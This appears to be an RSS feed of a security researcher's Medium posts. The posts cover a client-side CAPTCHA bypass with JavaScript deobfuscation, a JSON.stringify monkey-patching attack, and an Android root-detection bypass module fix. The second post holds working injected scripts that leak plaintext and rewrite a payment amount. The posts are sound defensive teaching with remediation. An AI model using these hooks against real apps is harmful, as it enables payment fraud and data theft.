<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Roosewelt on Medium]]></title>
        <description><![CDATA[Stories by Roosewelt on Medium]]></description>
        <link>https://medium.com/@roosewelt47?source=rss-64a119868d0b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*P7Et5JwpcHvfjRZo</url>
            <title>Stories by Roosewelt on Medium</title>
            <link>https://medium.com/@roosewelt47?source=rss-64a119868d0b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 05:06:54 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@roosewelt47/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[When “Verify You’re Human” Is Just a Suggestion: A Client-Side Turnstile Bypass Pattern]]></title>
            <link>https://medium.com/@roosewelt47/when-verify-youre-human-is-just-a-suggestion-a-client-side-turnstile-bypass-pattern-7b52cceb2926?source=rss-64a119868d0b------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b52cceb2926</guid>
            <category><![CDATA[code-obfuscation]]></category>
            <category><![CDATA[captcha]]></category>
            <category><![CDATA[bypass]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[client-side-encryption]]></category>
            <dc:creator><![CDATA[Roosewelt]]></dc:creator>
            <pubDate>Mon, 07 Sep 2026 11:44:24 GMT</pubDate>
            <atom:updated>2026-09-07T11:44:24.818Z</atom:updated>
            <content:encoded><![CDATA[<p><em>How a missing server-side check turned a CAPTCHA into decoration — and how minified JavaScript nearly hid the reason why.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GFeuflJYx3F8NNrGgGkLtA.png" /></figure><h3>The setup</h3><p>During a greybox web application assessment, I ran into a login form protected by Cloudflare Turnstile — the “verify you are human” widget that’s largely replaced traditional image CAPTCHAs. The flow looked standard: type your credentials, solve the challenge, the “Continue” button submits, server logs you in.</p><p>Poking at it with a proxy in the loop revealed something more interesting: for a specific test account, the login request went through <em>without ever solving the challenge</em>. No widget interaction, no token, no error — just a clean 200 from the login endpoint, identical in every other respect to a normal, fully-verified login.</p><p>That one anomaly turned into two separate, stackable findings.</p><h3>Finding 1: the server never checked</h3><p>The first thing I did was compare request bodies — a normal login (challenge solved) against the anomalous one (challenge skipped):</p><pre>Normal login:    {&quot;username&quot;: &quot;...&quot;, &quot;password&quot;: &quot;...&quot;, &quot;resetPassword&quot;: false}<br>Anomalous login: {&quot;username&quot;: &quot;...&quot;, &quot;password&quot;: &quot;...&quot;, &quot;resetPassword&quot;: false}</pre><p>Identical shape. <strong>Neither request contained a Turnstile response token anywhere in the body.</strong> Not a cf-turnstile-response field, not anything token-shaped. That&#39;s the more serious of the two bugs: the backend endpoint had no way to know whether the challenge was solved, because the solved-state was never being transmitted to it in the first place. I confirmed this by replaying a login through Repeater in a session that never even loaded the Turnstile widget — no headers, no cookies from the challenge flow, nothing. It succeeded anyway.</p><p>This is the classic <strong>client-side-only enforcement</strong> anti-pattern: the widget disables a button in the browser, but the server trusts whatever the browser sends regardless. If the only thing standing between an attacker and the login endpoint is JavaScript running in <em>their own browser</em>, it isn’t standing between them and anything.</p><h3>Finding 2: a client-side automation bypass shipped to production</h3><p>The second question was: why did that <em>one specific account</em> skip the challenge in the UI too, when every other account correctly blocked submission until solved? That pointed at client-side logic, which meant digging into a heavily minified JS bundle.</p><h3>The obfuscation</h3><p>The bundle used a common technique (javascript-obfuscator / similar tools produce this signature): every string literal in the file is stripped out into one big array, and every reference to that string is replaced with a call to a decoder function — something like _0xdec7f(0x153) instead of &quot;strToBool&quot;. On top of that, the array itself gets shuffled at load time by a small self-invoking function, so even reading the raw array in file order gives you nothing useful.</p><p>Here’s what that looks like in practice. This is a synthetic example I built to illustrate the exact pattern — fabricated strings and logic, not the real target’s code — but structurally identical to what a real obfuscated bundle looks like:</p><pre>function _0xarr9f(){<br>  const _0x1a2b3c=[&#39;l2rLBw8Vyxv0Ac9SB2DPBG&#39;,&#39;q29UDgvUDc1uExbL&#39;, /* ...more encoded entries... */];<br>  _0xarr9f=function(){return _0x1a2b3c;};<br>  return _0xarr9f();<br>}</pre><pre>(function(_0xarrfn,_0xrotations){<br>  const _0xarr=_0xarrfn();<br>  let _0xcount=0x0;<br>  while(!![]){<br>    try {<br>      if(_0xcount===_0xrotations) break;<br>      _0xarr[&#39;push&#39;](_0xarr[&#39;shift&#39;]());<br>      _0xcount++;<br>    } catch(_0xerr) {<br>      _0xarr[&#39;push&#39;](_0xarr[&#39;shift&#39;]());<br>    }<br>  }<br>}(_0xarr9f,0x7));</pre><pre>function _0xdec7f(_0xidx,_0xkey){<br>  _0xidx=_0xidx-0x150;<br>  const _0xarr=_0xarr9f();<br>  let _0xval=_0xarr[_0xidx];<br>  // ...base64-style decode + caching...<br>  return _0xval;<br>}</pre><p>And the “application” logic that actually calls it — the part a reviewer encounters when reading the login form’s code:</p><pre>const isSubmitAllowed=async()=&gt;{<br>  return !!(0x0,_0xAutomationCheck)(_0xFormState[_0xdec7f(0x150)][_0xdec7f(0x151)])<br>    || ((0x0,_0xUtil[_0xdec7f(0x153)])(_0xdec7f(0x154)) ? !!await _0xValidateTurnstile() : !!await _0xFallbackCaptcha())<br>    || (_0xSetError(!0x0), !0x1);<br>};</pre><p>Genuinely unreadable at a glance — which is the point of obfuscation. But the <em>browser</em> has to run that decoder to make the page work at all, so nothing stops you from running it too:</p><ol><li>Pull out three pieces verbatim from the top of the file: the decoder function, the string-array function, and the shuffle routine that reorders the array</li><li>Run all three in Node (or paste them into DevTools console) — this reconstructs the array in its real runtime order</li><li>Call the decoder function directly with whatever hex offset you see in the code:</li></ol><pre>&gt; _0xdec7f(0x150)<br>&#39;formState&#39;<br>&gt; _0xdec7f(0x153)<br>&#39;strToBool&#39;<br>&gt; _0xdec7f(0x157)<br>&#39;Please verify the captcha&#39;</pre><p>That’s it — the decoder correctly returns the actual string, because the shuffle has already run. I wrote a small script to automate this end-to-end (extract the three pieces via regex/brace-matching, run them, dump every resolvable offset → string pair, then annotate the original file with the decoded values inline). It’s genuinely just running the file’s own logic backwards to read what it says; nothing about the app’s behavior changes.</p><h3>What it revealed</h3><p>Feeding that same snippet back through with each hex offset annotated:</p><pre>const isSubmitAllowed=async()=&gt;{<br>  return !!(0x0,_0xAutomationCheck)(_0xFormState[_0xdec7f(0x150)/*&quot;formState&quot;*/][_0xdec7f(0x151)/*&quot;username&quot;*/])<br>    || ((0x0,_0xUtil[_0xdec7f(0x153)/*&quot;strToBool&quot;*/])(_0xdec7f(0x154)/*&quot;true&quot;*/) ? !!await _0xValidateTurnstile() : !!await _0xFallbackCaptcha())<br>    || (_0xSetError(!0x0), !0x1);<br>};</pre><p>Which, written out in plain terms, is:</p><pre>async function isSubmitAllowed() {<br>  if (isKnownAutomationAccount(formState.username)) {<br>    return true;   // &lt;-- skips everything below<br>  }<br>  if (await validateTurnstileToken()) {<br>    return true;<br>  }<br>  showCaptchaError(true);  // &quot;Please verify the captcha&quot;<br>  return false;<br>}</pre><p>That first branch is a debug/QA hook — the kind of thing test-automation suites (Selenium/Cypress/Playwright) commonly need, so their runs aren’t blocked by a challenge a headless browser can’t solve. Entirely reasonable to have in a <em>dev</em> environment. The problem was that it had shipped into a build reachable from the public internet, gated on nothing more than knowing (or guessing) the right identifier.</p><h3>Why this combination matters</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*fpVuHlNgqGarcjOBx74E9w.png" /></figure><p>Either bug alone is bad. Together, they’re worse than the sum:</p><ul><li>The <strong>client-side hook</strong> meant one specific account could always skip verification in the UI — a narrow but real hole (leftover test credentials are a classic finding).</li><li>The <strong>missing server-side check</strong> meant the challenge provided <em>zero</em> actual enforcement for <em>anyone</em>, hook or no hook. Any client — a script, a modified request, a proxy replay — could omit the token entirely and the server wouldn’t care.</li></ul><p>The client-side bug is what tipped me off. The server-side bug is what actually mattered.</p><h3>The fix</h3><p>Nothing exotic:</p><ul><li><strong>Validate server-side, always.</strong> On receiving the login request, the backend must independently call Cloudflare’s siteverify API with the submitted token before processing credentials — full stop, regardless of what the frontend decided to allow.</li><li><strong>Strip debug/automation hooks from production builds.</strong> Test-account bypasses belong behind build-time flags that never ship to a public bundle, not behind obfuscation (obfuscation slows down casual reading; it does not constitute access control).</li><li><strong>Treat frontend validation as UX, not security.</strong> Disabling a button is a nicety for a legitimate user who forgot to complete a step. It is never a substitute for the server enforcing the same rule.</li></ul><h3>Takeaway</h3><p>Minification and obfuscation make code <em>harder to read</em>, not harder to <em>run</em> — and a decoder function the page depends on to function at all can always be borrowed to read what it’s hiding. If you’re relying on obfuscation to keep a bypass out of a determined attacker’s hands, you’re not really relying on anything.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b52cceb2926" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing Client-Side Encryption in Hybrid Mobile Apps via JavaScript Monkey Patching]]></title>
            <link>https://medium.com/@roosewelt47/bypassing-client-side-encryption-in-hybrid-mobile-apps-via-javascript-monkey-patching-0408dd4181af?source=rss-64a119868d0b------2</link>
            <guid isPermaLink="false">https://medium.com/p/0408dd4181af</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[data-encryption]]></category>
            <category><![CDATA[business-logic-flaw]]></category>
            <category><![CDATA[bypass]]></category>
            <category><![CDATA[client-side-encryption]]></category>
            <dc:creator><![CDATA[Roosewelt]]></dc:creator>
            <pubDate>Wed, 25 Feb 2026 07:15:33 GMT</pubDate>
            <atom:updated>2026-02-25T09:14:40.048Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tmkfqpMpHF40YCHu2rw2fw.png" /></figure><p>There is a dangerous misconception in modern application development: <em>“If we encrypt the payload on the device before sending it over the network, attackers can’t tamper with it.”</em></p><p>Developers often spend weeks implementing complex, heavily obfuscated cryptographic libraries (like AES-GCM or RSA) directly into their application’s frontend code. Their goal is to protect sensitive business logic — like premium amounts, loan parameters, or transaction values — from Man-in-the-Middle (MITM) attacks.</p><p>But what happens when the attacker controls the execution environment itself?</p><p>In this post, I will demonstrate how to completely bypass client-side encryption without ever reverse-engineering a single cryptographic key. By leveraging a technique called <strong>Monkey Patching</strong> via Burp Suite, we can intercept and manipulate data in the device’s memory <em>before</em> the lock is ever applied.</p><h3>The Target Scope: Where Does This Vulnerability Live?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DtfH0ZfsJtsndngiJap7eQ.png" /></figure><p>Before diving into the exploit, we must define the battlefield. This specific bypass does not apply to purely native applications (like apps written entirely in Swift or Kotlin with no web components).</p><p>Instead, it targets applications that rely on web technologies to render their interfaces and handle business logic. You will find this exact vulnerability heavily prevalent across three main areas of penetration testing:</p><ol><li><strong>Hybrid Mobile Apps (iOS &amp; Android):</strong> Applications built using frameworks like Cordova, Ionic, or React Native (when utilizing WebViews). Under the hood, these apps use a WKWebView or WebView to act as a hidden, full-screen web browser loading minified HTML and JavaScript.</li><li><strong>Thick Client Desktop Applications:</strong> Desktop apps built on frameworks like Electron or Tauri (e.g., communication platforms, desktop crypto wallets, or enterprise tools). These are essentially standalone Chromium browsers running web code on your local machine.</li><li><strong>Standard Web Applications:</strong> Any traditional website accessed via a desktop or mobile browser that attempts to encrypt data using client-side JavaScript before sending it to the backend API.</li></ol><p>In all of these environments, the application follows a predictable data flow when a user submits a form:</p><ol><li>Gathers the user input into a live JavaScript Object in the device’s RAM.</li><li>Converts that Object into a static string using a native browser API.</li><li>Passes that string into the custom encryption algorithm (AES/RSA).</li><li>Sends the resulting ciphertext to the backend server.</li></ol><h3>The Translation Machine: What is JSON.stringify?</h3><p>Step 2 in the flow above is the critical bottleneck, and it relies entirely on a built-in JavaScript function called JSON.stringify().</p><p>To understand why we target this function, you have to understand the difference between an Object and a String. When a user interacts with an app, the data lives in the device’s memory as a <strong>JavaScript Object</strong>. Objects are “living” data structures. You can interact with them, read their properties, and modify their values dynamically.</p><p>However, you cannot transmit a live, multi-dimensional object over a network, and cryptographic algorithms (like AES) cannot encrypt them. Cryptography requires a flat, linear sequence of text or bytes.</p><p>JSON.stringify is the native translation machine. It takes the living JavaScript object and flattens it into a dead, static text string (a JSON string). Once the data is stringified, it is ready to be encrypted and sent. Therefore, all sensitive data must eventually pass through this exact translation machine.</p><h3>The Roadblock: Opaque API Traffic</h3><p>When we initially route the device’s traffic through a proxy like Burp Suite and attempt to submit a payment, we hit a wall.</p><p>Instead of seeing a standard JSON body where we can easily tamper with pricing parameters, we see this:</p><figure><img alt="An Image showing the encrypted body of a HTTP request of a Payment endpoint" src="https://cdn-images-1.medium.com/max/1024/1*-ukvUTxzgAbcAKRTgPzw_w.png" /><figcaption>Encrypted data in request body</figcaption></figure><p>Because the application encrypts the data before it hits the network, our HTTP History is filled with opaque ciphertext. We cannot tamper with a parameter if we don’t know its exact JSON key name or structure. This is the exact scenario that gives developers a false sense of security.</p><h3>The Exploit Strategy: Why This Bypass Actually Works</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dFANI22kILZktUNiFWAuRg.png" /></figure><p>When faced with encrypted API traffic, many penetration testers make the mistake of trying to de-obfuscate the application’s JavaScript to extract the hardcoded encryption keys or reverse the cryptographic math. This is a massive time sink.</p><p>Instead of attacking the cryptography, we attack the environment.</p><p><strong>Here is why the bypass works:</strong> Cryptography is just mathematics. It relies entirely on the input being static and secure. The application’s encryption function does its job perfectly — it securely locks the data into an unreadable vault.</p><p>But what if we change the item <em>before</em> it gets put into the vault?</p><p>By acting as a MITM proxy, we intercept the initial HTML document the application loads. We inject our own malicious JavaScript into the &lt;head&gt; tag, guaranteeing our script executes first. We use this ultimate control to perform &quot;Monkey Patching&quot;—overwriting the native JSON.stringify function with our own custom version.</p><p>Because our hook sits right at the translation bottleneck, we can intercept the living JavaScript object <em>while it is still in the device’s memory</em>, modify the pricing parameters, and then hand the tampered data over to be stringified and encrypted.</p><p>The encryption algorithm securely locks up our manipulated data. It perfectly encrypts a lie. We will execute this in two phases purely at the Data Layer.</p><h3>Phase 1: Reconnaissance and The Serialization Timing Paradox</h3><p>To manipulate the transaction, we first need to discover the hidden JSON schema.</p><p>Using Burp Suite’s Match and Replace feature (targeting the Response Body for &lt;head&gt;), we inject a broad <strong>Reconnaissance Hook</strong>. This script monkey-patches JSON.stringify to passively monitor the application&#39;s memory. To prevent flooding our proxy with useless background telemetry (like UI state changes), we instruct the hook to only leak substantial JSON objects (e.g., longer than 50 characters).</p><h4>Script 1: The Data-Driven Recon Hook</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*9XUqWrwfNUW3xL9L2NUR6Q.png" /><figcaption>Burp match and replace to inject our malicious script to view request body in plain-text</figcaption></figure><p>Below is the minified script we have placed in the Replace section</p><pre>&lt;head&gt;<br>&lt;script&gt;<br>const originalStringify = JSON.stringify;<br><br>JSON.stringify = function(value, replacer, space) {<br>    const stringifiedResult = originalStringify.apply(this, arguments);<br>    <br>    //Only leak substantial JSON objects to cut through the noise<br>    if (typeof value === &#39;object&#39; &amp;&amp; value !== null &amp;&amp; stringifiedResult.length &gt; 50) {<br>        <br>        // Use a custom HTTP method like &#39;RECON&#39; to easily spot it in Burp.<br>        fetch(&#39;/BURP_RECON_LEAK&#39;, {<br>            method: &#39;RECON&#39;, <br>            headers: { &#39;Content-Type&#39;: &#39;application/json&#39; },<br>            body: stringifiedResult<br>        }).catch(e =&gt; e);<br>    }<br>    <br>    return stringifiedResult;<br>};<br>&lt;/script&gt;</pre><p>With this rule active, we simulate a payment in the app. Looking at our Burp Suite HTTP History, we can easily filter by our custom RECON method. The app safely leaks its own plaintext structure to our proxy just milliseconds before the encryption routine kicks in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iKEzvcthhIsbzkH8WetuHw.png" /><figcaption>The request body is now visible in plain text</figcaption></figure><p>We now have our target parameter: totalAmount.</p><h4>A Note on Confidentiality vs. Integrity</h4><p>At this stage, it is important to emphasize that Phase 1 alone represents a complete bypass of the application’s client-side encryption. By successfully extracting the plaintext schema before the cryptographic lock was applied, we have entirely broken the payload’s <strong>confidentiality</strong>.</p><p>However, discovering the data is only the beginning. The remainder of this post will demonstrate how to weaponize this visibility — shifting from breaking confidentiality to breaking <strong>integrity</strong> — in order to actively exploit the application’s underlying business logic.</p><h3>Phase 2: The Weaponized Exploit</h3><p>Now that we have successfully X-rayed the payload, we move to exploitation. We clear our recon rule, force-close the app to wipe its memory, and inject our active payload.</p><p>Because we are attacking the <strong>Data Layer</strong> directly, we don’t care what networking library the app uses. Our <strong>Weaponized Hook</strong> is a surgical strike that lives entirely inside the memory serialization process. It recursively scans every object passed to JSON.stringify, hunting specifically for the totalAmount key.</p><p>If it finds it, it overwrites the value in the device’s RAM <em>before</em> handing it to the native encryption routines.</p><h4>Script 2: The Active Tamperer</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*v-qV308plstMy2ezyRwa6g.png" /><figcaption>Burp match and replace to inject our malicious script to change the amount to 4</figcaption></figure><p>Below is the minified script we have placed in the Replace section</p><pre>&lt;head&gt;<br>&lt;script&gt;<br>const originalStringify = JSON.stringify;<br><br>JSON.stringify = function(value, replacer, space) {<br>    let tampered = false;<br>    <br>    // 1. TAMPERING LOGIC (Hunts specifically for the target parameter globally)<br>    if (value &amp;&amp; typeof value === &#39;object&#39;) {<br>        try {<br>            function modifyData(obj) {<br>                for (let key in obj) {<br>                    if (obj[key] &amp;&amp; typeof obj[key] === &#39;object&#39;) {<br>                        modifyData(obj[key]); // Dig deeper into nested objects<br>                    } else if (key === &#39;totalAmount&#39;) {<br>                        obj[key] = 4; // Inject the malicious price<br>                        tampered = true;<br>                    }<br>                }<br>            }<br>            modifyData(value);<br>        } catch (error) {}<br>    }<br><br>    // 2. Convert the (now tampered) object to a string<br>    const stringifiedResult = originalStringify.apply(this, [value, replacer, space]);<br>    <br>    // 3. Log the successful exploitation to Burp Suite<br>    if (tampered) {<br>        fetch(&#39;/BURP_TAMPERED_SUCCESS&#39;, {<br>            method: &#39;HACK&#39;, // Custom method to make it pop in Burp History<br>            headers: { &#39;Content-Type&#39;: &#39;application/json&#39; },<br>            body: stringifiedResult<br>        }).catch(e =&gt; e);<br>    }<br>    <br>    // 4. Return the string to the app&#39;s native encryption routine<br>    return stringifiedResult;<br>};<br>&lt;/script&gt;</pre><p>We trigger the payment flow one last time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B1uE6lWTLVLThXPJLj2jcg.png" /><figcaption>The plain-text request body shows the amount parameter is tampered successfully</figcaption></figure><p>The application runs natively, completely undisturbed. At the exact millisecond the user attempts to process a payment, the hook identifies the pricing parameter, overwrites it to 4, and seamlessly passes the manipulated data to the encryption algorithm.</p><h3>The Impact: A Total Business Logic Bypass</h3><p>Because the backend server relies solely on the client-side cryptography to guarantee the integrity of the data, it accepts our tampered payload as absolute truth. The application encrypted our malicious string using its own valid cryptographic keys and attached a perfect cryptographic signature.</p><p>From the server’s perspective, this request is mathematically flawless.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*eGb0gTOHi95Tp-aiZHxlzQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sj3QvNaYqX2wU60-rr5myQ.png" /></figure><p>The server decrypts the request, reads &quot;totalAmount&quot;: 4, and happily processes a multi-thousand-dollar premium payment for the price of a cup of coffee. By trusting the client environment, the developers rendered their own cryptography completely useless.</p><h3>The Remediation: Implementing Zero-Trust</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BkliJa8nz6RTQAhcQfiCbA.png" /></figure><p>To defend against this, engineering teams must adopt a strict Zero-Trust model regarding client-side data:</p><ol><li><strong>Never Trust Client Calculations:</strong> The client should never dictate the price, premium, or loan amount. The frontend should only send reference identifiers (e.g., policy_id=98765).</li><li><strong>Strict Server-Side Validation:</strong> The backend must independently query the database to determine the correct totalAmount associated with that policy ID before processing any transaction.</li><li><strong>Understand the Limits of Obfuscation:</strong> Client-side encryption is useful for securing data <em>in transit</em> if HTTPS drops, but it provides <strong>zero integrity protection</strong> against an attacker who controls the device memory.</li></ol><p>Security boundaries exist on the server, not in the browser, and certainly not in the WebView.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0408dd4181af" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[It Was Just “su”]]></title>
            <link>https://medium.com/@roosewelt47/it-was-just-su-0771bf0c2ab2?source=rss-64a119868d0b------2</link>
            <guid isPermaLink="false">https://medium.com/p/0771bf0c2ab2</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[flutter]]></category>
            <category><![CDATA[magisk-module]]></category>
            <category><![CDATA[mobile-security]]></category>
            <category><![CDATA[android]]></category>
            <dc:creator><![CDATA[Roosewelt]]></dc:creator>
            <pubDate>Sat, 26 Jul 2025 07:39:32 GMT</pubDate>
            <atom:updated>2025-07-26T07:39:32.327Z</atom:updated>
            <content:encoded><![CDATA[<h3>Fixing a Tiny Bug That Crashed My Flutter App in a Root Bypass Module</h3><p><em>A real-world debugging story: from crash logs to a stable root detection bypass</em></p><h3>📦 Introduction</h3><p>Root detection is a widely adopted mechanism in Android applications to prevent tampering, runtime instrumentation, and reverse engineering. While effective, it’s also a barrier for legitimate testers during dynamic analysis.</p><p>In a recent Android security assessment, I encountered an app that crashed on launch when a popular LSPosed module for root detection bypass was active. This post walks through how I diagnosed the issue, identified a bug in the open-source module, and built a stable custom version that bypasses root detection — even in a <strong>Flutter-based hybrid app</strong>.</p><h3>💥 The Problem: App Crashed with LSPosed Module Enabled</h3><p>The app exhibited the following behavior:</p><ul><li>Immediate crash on rooted test devices with LSPosed modules enabled.</li><li>No explicit root-detected error — just an abrupt termination.</li><li>Behavior persisted even after using standard hiding tools like <strong>Magisk DenyList</strong> and <strong>Shamiko</strong>.</li></ul><p>At first glance, it appeared the app had strong root detection, possibly at the native level. But further investigation revealed something more subtle.</p><h3>🧾 Digging Into LSPosed Logs</h3><p>I enabled LSPosed logs to trace which hook was causing the issue. The logs pointed to <strong>file access interception</strong>, particularly for paths that contained &quot;su&quot;.</p><blockquote><em>The application’s package name was: com.ORG.example.superapp</em></blockquote><blockquote><em>See the problem? </em><em>&quot;su&quot; appears within the packacge name.</em></blockquote><p>This led to the app being <strong>revoked access to its own files</strong>, as the LSPosed module was too aggressively blocking paths that simply contained the string &quot;su&quot;.</p><h3>📸 Crash Evidence (LSPosed Log)</h3><p><em>“LSPosed log showing app crash due to incorrect path filtering logic”</em></p><pre>[ 2025-07-08T16:33:59.266    10247:  7802:  7874 I/LSPosedContext  ] com.gauravssnl.bypassrootcheck.pro: App tried to access root related file :: /system_ext/bin/magisk , so bypass it<br>[ 2025-07-08T16:33:59.266    10247:  7802:  7874 I/LSPosedContext  ] com.gauravssnl.bypassrootcheck.pro: App tried to access root related file :: /odm/bin/magisk , so bypass it<br>[ 2025-07-08T16:33:59.266    10247:  7802:  7874 I/LSPosedContext  ] com.gauravssnl.bypassrootcheck.pro: App tried to access root related file :: /vendor/bin/magisk , so bypass it<br>[ 2025-07-08T16:33:59.266    10247:  7802:  7874 I/LSPosedContext  ] com.gauravssnl.bypassrootcheck.pro: App tried to access root related file :: /vendor/xbin/magisk , so bypass it<br>[ 2025-07-08T16:34:01.493    10247:  7802:  7835 I/LSPosed-Bridge  ] Crash unexpectedly: java.lang.IllegalStateException: The file system on the device is in a bad state. WorkManager cannot access the app&#39;s internal data store.<br> at androidx.work.impl.utils.ForceStopRunnable.run(SourceFile:72)<br> at c1.t$a.run(SourceFile:3)<br> at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1137)<br> at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:637)<br> at java.lang.Thread.run(Thread.java:1012)<br>Caused by: android.database.sqlite.SQLiteCantOpenDatabaseException: Cannot open database &#39;/data/user/0/com.ORG.example.superapp/no_backup/androidx.work.workdb&#39; with flags 0x30000000: Directory /data/user/0/com.ORG.example.superapp/no_backup doesn&#39;t exist<br> at android.database.sqlite.SQLiteConnection.open(SQLiteConnection.java:262)<br> at android.database.sqlite.SQLiteConnection.open(SQLiteConnection.java:205)<br> at android.database.sqlite.SQLiteConnectionPool.openConnectionLocked(SQLiteConnectionPool.java:512)<br> at android.database.sqlite.SQLiteConnectionPool.open(SQLiteConnectionPool.java:210)<br> at android.database.sqlite.SQLiteConnectionPool.open(SQLiteConnectionPool.java:202)<br> at android.database.sqlite.SQLiteDatabase.openInner(SQLiteDatabase.java:1085)</pre><h3>🐞 The Bug in the Module</h3><p>The module I used was from the GitHub repo:</p><p>🔗 <a href="https://github.com/gauravssnl/BypassRootCheckPro">BypassRootCheckPro by @gauravssnl</a></p><p>👨‍💻 <a href="https://github.com/gauravssnl/BypassRootCheckPro/releases/tag/v1.0">Sourcecode</a></p><p>It included logic that intercepted file access with this line:</p><pre>//MainModule.kt<br><br>private fun isFileRootAccessRelated(fileName: String): Boolean {<br>    return fileName.contains(&quot;magisk&quot;) || fileName.contains(&quot;su&quot;)<br>.<br>.<br>.<br>// other checks<br>}</pre><p>While well-intentioned, this logic is overly broad. It assumes that any occurrence of</p><p><em>“su”</em></p><p>means root-related access — which is not always true. In my case, it broke legitimate functionality.</p><h3>🛠️ The Fix: Context-Aware File Check</h3><p>To resolve this, I forked the repo and rewrote the logic to block only when the actual <strong>file name</strong> (not just any part of the path) was &quot;su&quot;. This was achieved using filePath.substringAfterLast(&quot;/&quot;), which isolates the file name from the full path — a critical change that prevented false positives when &quot;su&quot; appeared in harmless places like package names (com.ORG.example.superapp).</p><h3>Rewritten Hook Logic:</h3><pre>  //MainModule.kt<br>  <br>  private fun isFileRootAccessRelated(filePath: String): Boolean {<br>      val lowerPath = filePath.lowercase()<br>  <br>      val fileName = filePath.substringAfterLast(&quot;/&quot;)<br>  <br>      return fileName == &quot;su&quot;<br>              || lowerPath.contains(&quot;magisk&quot;)<br>              || lowerPath.contains(&quot;busybox&quot;)<br>              || lowerPath.contains(&quot;Superuser&quot;)<br>              || lowerPath.contains(&quot;SuperSU&quot;)<br>              || lowerPath.contains(&quot;daemonsu&quot;)<br>              || lowerPath.contains(&quot;/data/adb/.boot_count&quot;)<br>              || lowerPath.contains(&quot;/proc/net/unix&quot;)<br>  }</pre><p>This change ensures that only <strong>explicit binary calls to </strong><strong>su</strong> are blocked — avoiding false positives caused by naive substring matching. The use of substringAfterLast(&quot;/&quot;) is what made the bypass stable, preventing the app from being denied access to its own files due to misleading matches.</p><h3>🏗️ Building the Custom LSPosed Module</h3><p>To build a stable, compatible LSPosed module, I set up my development environment as follows:</p><ul><li><strong>Android Studio</strong></li><li><strong>CMake version:</strong> 3.22.1</li><li><strong>NDK version:</strong> 25.18937393</li><li>Gradle and module configurations updated for <strong>native code compilation</strong></li></ul><h3>📋 Summary</h3><figure><img alt="Table about the details of components used for recreation" src="https://cdn-images-1.medium.com/max/456/1*fu4neYZ1m6Sy055nT6Fz2w.png" /></figure><h3>💡 Key Takeaways</h3><ul><li>Even security tools can have bugs — always verify and analyze behavior.</li><li>Debugging LSPosed modules requires reading logs and understanding Android internals.</li><li>Flutter-based apps can use native root detection — root hiding must happen at multiple layers.</li><li>Subtle bugs (like &quot;su&quot; in a package name) can completely break root-hiding modules.</li></ul><h3>🙏 Acknowledgements</h3><p>Special thanks to <a href="https://github.com/gauravssnl">@gauravssnl</a> for the original <a href="https://github.com/gauravssnl/BypassRootCheckPro">BypassRootCheckPro</a> LSPosed module.</p><p>This post is based on a fork of the original module with improved filtering logic.</p><h3>📣 Closing Thoughts</h3><p>This debugging journey is a reminder that successful bypasses aren’t always about complex tools — sometimes, it’s about understanding context, logs, and writing smarter logic.</p><p>If you’re working with LSPosed, Flutter apps, or root detection, I hope this helps you build more resilient bypasses — or better defenses.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0771bf0c2ab2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Crafting Efficient Logistics: Frontend Development for CraftChain Logistics]]></title>
            <link>https://medium.com/@roosewelt47/crafting-efficient-logistics-frontend-development-for-craftchain-logistics-415e898b965d?source=rss-64a119868d0b------2</link>
            <guid isPermaLink="false">https://medium.com/p/415e898b965d</guid>
            <category><![CDATA[data-visualization]]></category>
            <category><![CDATA[nextjs]]></category>
            <category><![CDATA[typescript]]></category>
            <category><![CDATA[ui-ux]]></category>
            <dc:creator><![CDATA[Roosewelt]]></dc:creator>
            <pubDate>Mon, 10 Jun 2024 16:02:20 GMT</pubDate>
            <atom:updated>2024-06-10T16:02:20.692Z</atom:updated>
